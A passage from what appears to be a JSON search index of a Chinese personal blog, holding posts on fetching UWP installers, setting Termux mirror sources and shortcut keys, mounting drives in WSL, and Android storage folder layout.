class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/06/17/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/STC51%E5%8D%95%E7%89%87%E6%9C%BA%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"title":"UWP安装包的获取","time":"2021-06-15T06:44:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch3 id=\"UWP应用概述\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/15/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/UWP%E5%AE%89%E8%A3%85%E5%8C%85%E7%9A%84%E8%8E%B7%E5%8F%96/#UWP%E5%BA%94%E7%94%A8%E6%A6%82%E8%BF%B0\" class=\"headerlink\" title=\"UWP应用概述\"\u003e\u003c/a\u003eUWP应用概述\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eUWP即Windows 10中的Universal Windows Platform简称。即Windows通用应用平台,在Windows 10 Mobile/Surface/PC/Xbox/HoloLens等平台上运行,uwp不同于传统pc上的exe应用,也跟只适用于手机端的app有本质区别。它并不是为某一个终端而设计,而是可以在所有Windows10设备上运行。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eUWP应用的安装文件后缀为\u003ccode\u003e.appx\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e所以这和只能在电脑上用……好像也没啥区别(?\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e一般而言,\u003ccode\u003e.appx\u003c/code\u003e格式文件只能在Microsoft Store上下载。\u003ccode\u003e.appx\u003c/code\u003e\u003cstrong\u003e从正常途径\u003c/strong\u003e一般不能获取到。目前而言,我知道的获取途径有两个。\u003c/p\u003e\u003cul\u003e\u003cli\u003eMicrosoft Store下载 + 工具抓包获取下载路径\u003c/li\u003e\u003cli\u003e用链接获取工具获取\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这里先说下最简单的(也就是第二个)。\u003c/p\u003e\u003ch3 id=\"工具法获取链接\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/15/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/UWP%E5%AE%89%E8%A3%85%E5%8C%85%E7%9A%84%E8%8E%B7%E5%8F%96/#%E5%B7%A5%E5%85%B7%E6%B3%95%E8%8E%B7%E5%8F%96%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"工具法获取链接\"\u003e\u003c/a\u003e工具法获取链接\u003c/h3\u003e\u003cp\u003e工具地址(在线页面,点开直接访问即可):\u003cbr/\u003e\u003ca href=\"https://store.rg-adguard.net/\"\u003ehttps://store.rg-adguard.net/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e首先,我们进入\u003ca href=\"https://microsoft.com/\"\u003e微软官网\u003c/a\u003e,点击搜索,输入要下载的应用,进入详情页。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/uwp-down-1.png\"/\u003e\u003c/p\u003e\u003cp\u003e然后,复制详情页链接。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/uwp-down-2.png\"/\u003e\u003c/p\u003e\u003cp\u003e接着,进入工具页,粘贴链接并点击对勾确认。默认选择RP就可以了。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/uwp-down-3.png\"/\u003e\u003c/p\u003e\u003cp\u003e等待一会,出现链接后右键复制,完成后进入x雷下载即可。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/uwp-down-4.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/uwp-down-5.png\"/\u003e\u003c/p\u003e\u003cp\u003e接着,进入系统设置\u0026gt;更新和安全\u0026gt;开发者选项\u0026gt;打开开发人员模式。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/uwp-down-6.png\"/\u003e\u003c/p\u003e\u003cp\u003e然后,打开下载目录。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/uwp-down-7.png\"/\u003e\u003c/p\u003e\u003cp\u003e双击,直接安装。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/uwp-down-8.png\"/\u003e\u003c/p\u003e\u003cp\u003e完事儿。\u003c/p\u003e\u003ch3 id=\"抓包法获取链接\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/15/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/UWP%E5%AE%89%E8%A3%85%E5%8C%85%E7%9A%84%E8%8E%B7%E5%8F%96/#%E6%8A%93%E5%8C%85%E6%B3%95%E8%8E%B7%E5%8F%96%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"抓包法获取链接\"\u003e\u003c/a\u003e抓包法获取链接\u003c/h3\u003e\u003cp\u003e懒得写了。刚好百度经验有人写了,就不多废话了。 \u003c/p\u003e\u003cp\u003e链接:\u003ca href=\"https://jingyan.baidu.com/article/f71d6037df88c31ab641d139.html\"\u003e点击进入\u003c/a\u003e\u003c/p\u003e\u003cp\u003e虽然百度很屑,不过还是离不开(摊\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/06/15/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/UWP%E5%AE%89%E8%A3%85%E5%8C%85%E7%9A%84%E8%8E%B7%E5%8F%96/"},{"title":"TouhouMix","time":"2021-06-14T03:15:49Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e下载地址:\u003ca href=\"https://dreamweb.lanzoui.com/iBZsypltg9a\"\u003ehttps://dreamweb.lanzoui.com/iBZsypltg9a\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/06/14/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/TouhouMix/"},{"title":"Termux入坑指北","time":"2021-06-05T09:26:23Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iFuq7jbi8ef\"\u003eTermux 0.101(内含数据包)\u003c/a\u003e:点击下载。\u003cbr/\u003eTermux,yyds\u003c/p\u003e\u003ch3 id=\"换源\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Termux%E5%85%A5%E5%9D%91%E6%8C%87%E5%8C%97/#%E6%8D%A2%E6%BA%90\" class=\"headerlink\" title=\"换源\"\u003e\u003c/a\u003e换源\u003c/h3\u003e\u003cp\u003e系装好termux之后,第一步就是这个了。比较推荐的是清华源,稳定且快。 \u003c/p\u003e\u003cp\u003e可以使用\u003ccode\u003etermux-change-repo\u003c/code\u003e指令来在可视化界面手动换源。tuna推荐这种规避风险的方法。 \u003c/p\u003e\u003cp\u003e但是我还是习惯第二种。只要复制的时候没漏字符就基本没问题。下面是官方给出的指令。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed -i \u0026#39;s@^\\(deb.*stable main\\)$@#\\1\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/termux-packages-24 stable main@\u0026#39; $PREFIX/etc/apt/sources.list\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esed -i \u0026#39;s@^\\(deb.*games stable\\)$@#\\1\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/game-packages-24 games stable@\u0026#39; $PREFIX/etc/apt/sources.list.d/game.list\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esed -i \u0026#39;s@^\\(deb.*science stable\\)$@#\\1\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/science-packages-24 science stable@\u0026#39; $PREFIX/etc/apt/sources.list.d/science.list\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapt update \u0026amp;\u0026amp; apt upgrade\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e复制完,直接丢到termux里,回车,完事。\u003c/p\u003e\u003cp\u003e这里是\u003ca href=\"https://mirrors.tuna.tsinghua.edu.cn/help/termux/\"\u003etuna的termux帮助页面\u003c/a\u003e。\u003c/p\u003e\u003ch3 id=\"配置快捷键和安装常用软件\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Termux%E5%85%A5%E5%9D%91%E6%8C%87%E5%8C%97/#%E9%85%8D%E7%BD%AE%E5%BF%AB%E6%8D%B7%E9%94%AE%E5%92%8C%E5%AE%89%E8%A3%85%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6\" class=\"headerlink\" title=\"配置快捷键和安装常用软件\"\u003e\u003c/a\u003e配置快捷键和安装常用软件\u003c/h3\u003e\u003cp\u003e常用软件的话,openssh vim zip tree screen基本就全了?快捷键的话配好了一个,后面丢上来。\u003c/p\u003e\u003cp\u003e这里。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ebell-character=ignore \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eextra-keys = [ \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[\u0026#39;ESC\u0026#39;,\u0026#39;/\u0026#39;,\u0026#39;-\u0026#39;,\u0026#39;HOME\u0026#39;,\u0026#39;UP\u0026#39;,\u0026#39;END\u0026#39;,\u0026#39;PGUP\u0026#39;], \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[\u0026#39;TAB\u0026#39;,\u0026#39;CTRL\u0026#39;,\u0026#39;ALT\u0026#39;,\u0026#39;LEFT\u0026#39;,\u0026#39;DOWN\u0026#39;,\u0026#39;RIGHT\u0026#39;,\u0026#39;exit\\r\u0026#39;] \\]\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Termux%E5%85%A5%E5%9D%91%E6%8C%87%E5%8C%97/"},{"title":"wsl挂载or卸载设备","time":"2021-06-05T08:38:26Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e转载自博客园。原链接:\u003ca href=\"https://www.cnblogs.com/marklove/p/11905833.html\"\u003ehttps://www.cnblogs.com/marklove/p/11905833.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003eWindows Subsystem for Linux (WSL)挂载移动硬盘U盘 卸载 c d 盘\u003cbr/\u003ewsl命令行电子手册\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://docs.microsoft.com/zh-cn/windows/wsl/reference\"\u003ehttps://docs.microsoft.com/zh-cn/windows/wsl/reference\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://docs.microsoft.com/zh-cn/windows/wsl/reference?redirectedfrom=MSDN\"\u003ehttps://docs.microsoft.com/zh-cn/windows/wsl/reference?redirectedfrom=MSDN\u003c/a\u003e\u003c/p\u003e\u003cp\u003e重装某系统\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/wswind/p/9879539.html\"\u003ehttps://www.cnblogs.com/wswind/p/9879539.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.bbsmax.com/A/rV57bgVEJP/\"\u003ehttps://www.bbsmax.com/A/rV57bgVEJP/\u003c/a\u003e\u003c/p\u003e\u003cp\u003eWSL想通过移动硬盘处理一些数据,结果进去了无法发现移动硬盘,于是搜了好久也没有一个正确的解决办法,终于找到一个,现在贡献出来与大家共享。\u003c/p\u003e\u003cp\u003eWSL比起linux挂载硬盘简单一些。而且windows本身自己的硬盘位ntfs格式,所以移动硬盘感觉挂载要比单纯的linu下ntfs挂载更加稳定一些。个人感觉而已….无法验证。\u003c/p\u003e\u003cp\u003e假设你的移动硬盘在windows下显示为 G:\\\u003c/p\u003e\u003col\u003e\u003cli\u003e新建文件夹g\u003c/li\u003e\u003c/ol\u003e\u003cp\u003esudo mkdir /mnt/g\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e挂载盘符g\u003c/li\u003e\u003c/ol\u003e\u003cp\u003esudo mount -t drvfs G: /mnt/g\u003c/p\u003e\u003cp\u003e3.大功告成。进入/mnt/g即可与windows下一摸一样。\u003c/p\u003e\u003cp\u003e4.弹出移动硬盘,这样才能在windows下正常弹出,否则是会一直占用的。\u003c/p\u003e\u003cp\u003esudo umount /mnt/g\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/WSL%E6%8C%82%E8%BD%BDor%E5%8D%B8%E8%BD%BD%E8%AE%BE%E5%A4%87/"},{"title":"东方狗下载站","time":"2021-05-23T10:20:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e\u003ca href=\"https://cloud.lilywhite.cc/s/4ZUW?path=/\"\u003e点击进入\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/05/23/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9%E7%8B%97%E4%B8%8B%E8%BD%BD%E7%AB%99/"},{"title":"浅谈Android存储清理","time":"2021-05-17T16:36:40Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e前些天有个同学让我帮忙清理下她手机。二话不说,打开文件管理就是干。我一看,好家伙。那个根目录啊,不可描述一般的乱(反正我翻了半天才到底)。\u003c/p\u003e\u003cp\u003e现在大概总结下相关的基本常识。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e/sdcard\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── Android\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── data\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── media\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── obb\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── obj\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── BaiduMapSDKNew\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── crash\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── DCIM\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── Camera\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── Screenshots\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── Download\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── woodbox\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── MIUI\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── Gallery\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── MiDrop\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── debug_log\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── music\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── Movies\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── PerfectPiano\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── Soundbank\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── Pictures\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── CoolMarket\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── WeiXin\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── woodbox\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── amap\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── openamaplocationsdk\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── backups\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── baidu\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── bluetooth\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── browser\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── MediaCache\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── dumps\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── com.miui.voiceassist\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── audio\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── documents\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── 1994036591\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── downloaded_rom\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── iFlyIME\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── Download\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── imagecache\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── imageloadercache\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── puser\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── miad\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── cache\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── netease\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── cloudmusic\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e├── tencent\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── MobileQQ\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── QQLite\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── QQ_Favorite\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── QQ_Images\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── QQfile_recv\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── ams\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── msflogs\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── mta\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   ├── tbs\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e│   └── wtlogin\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e└── tv.danmaku.bili\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    └── source\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"第一重地狱:-x2F-sdcard下的一般目录\"\u003e\u003ca href=\"https://xeonds.github.io/2021/05/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/%E6%B5%85%E8%B0%88Android%E5%AD%98%E5%82%A8%E6%B8%85%E7%90%86/#%E7%AC%AC%E4%B8%80%E9%87%8D%E5%9C%B0%E7%8B%B1%EF%BC%9A-x2F-sdcard%E4%B8%8B%E7%9A%84%E4%B8%80%E8%88%AC%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"第一重地狱:/sdcard下的一般目录\"\u003e\u003c/a\u003e第一重地狱:/sdcard下的一般目录\u003c/h4\u003e\u003cp\u003e这就是我手机的根目录。可以很清楚地看到,根目录下的文件夹大致可以分成以下两类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e程序公用目录\u003cbr/\u003e例如/DCIM,/Download,/Music,/Pictures,/bluetooth,/Movies等等(这里比较多,就不全列出来了)。这类目录大部分是不能随意删除的。他们是各个程序的公用目录和程序的汽油,也就是说,它们里面会有各个程序保存的文件。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如打开/Pictures,你就会看到里面有系统的屏幕截图,\u003cdel\u003e基安\u003c/del\u003e酷安之类软件保存的图片之类的。 \u003c/p\u003e\u003cp\u003e再比如说/Download,这是系统创建的下载目录,浏览器之类的都会把文件下载到这里。\u003cbr/\u003e/bluetooth顾名思义,通过蓝牙传输的文件保存的目录。如果有用蓝牙传过什么重要的文件,那么最好不要删。 \u003c/p\u003e\u003cp\u003e/DCIM是各个程序公用的相册目录,一般微信,QQ之类的都会在这里面读取照片(所以说下次微信QQ找不到图片的话就把图片扔到这里面随便哪个文件夹就好了×)。最重要的是,系统相机拍摄的图片、录制的视频也全都在这里面。所以这个目录千万千万别手滑删掉。要不然……后果会很惨烈(当然如果你不关心你的照片就另说了×)。 \u003c/p\u003e\u003cp\u003e其他文件夹(比如/Music,/Movies,/documents之类的)也都顾名思义,是存放相应类型文件的专用共享目录。不过因为国内畸形的安卓生态,它们大多都没有发挥应有的功能。 \u003c/p\u003e\u003cul\u003e\u003cli\u003e/Android目录\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这是系统最重要的目录,没有之一。可以说基本所有软件的数据都在它里面保存着,接下来我们就要着重分析下这个目录。 \u003c/p\u003e\u003cp\u003e``\u003cbr/\u003eAndroid\u003cbr/\u003e├── data\u003cbr/\u003e├── media\u003cbr/\u003e├── obb\u003cbr/\u003e└── obj\u003c/p\u003e\u003cp\u003e这四个目录中,属/data最重要。它是系统分配给每个软件的私有目录。软件可以把自己的各种数据保存在里面。比如猿辅导,就会把离线的网课保存在里面。再比如说,最新版的QQ和微信也都把自己的数据(接收的文件,保存的图片之类的)存储在里面了。里面的文件夹和软件的包名是一一对应的。(不知道这是个啥?百度下吧)。所以一般这里也不怎么经常清理。 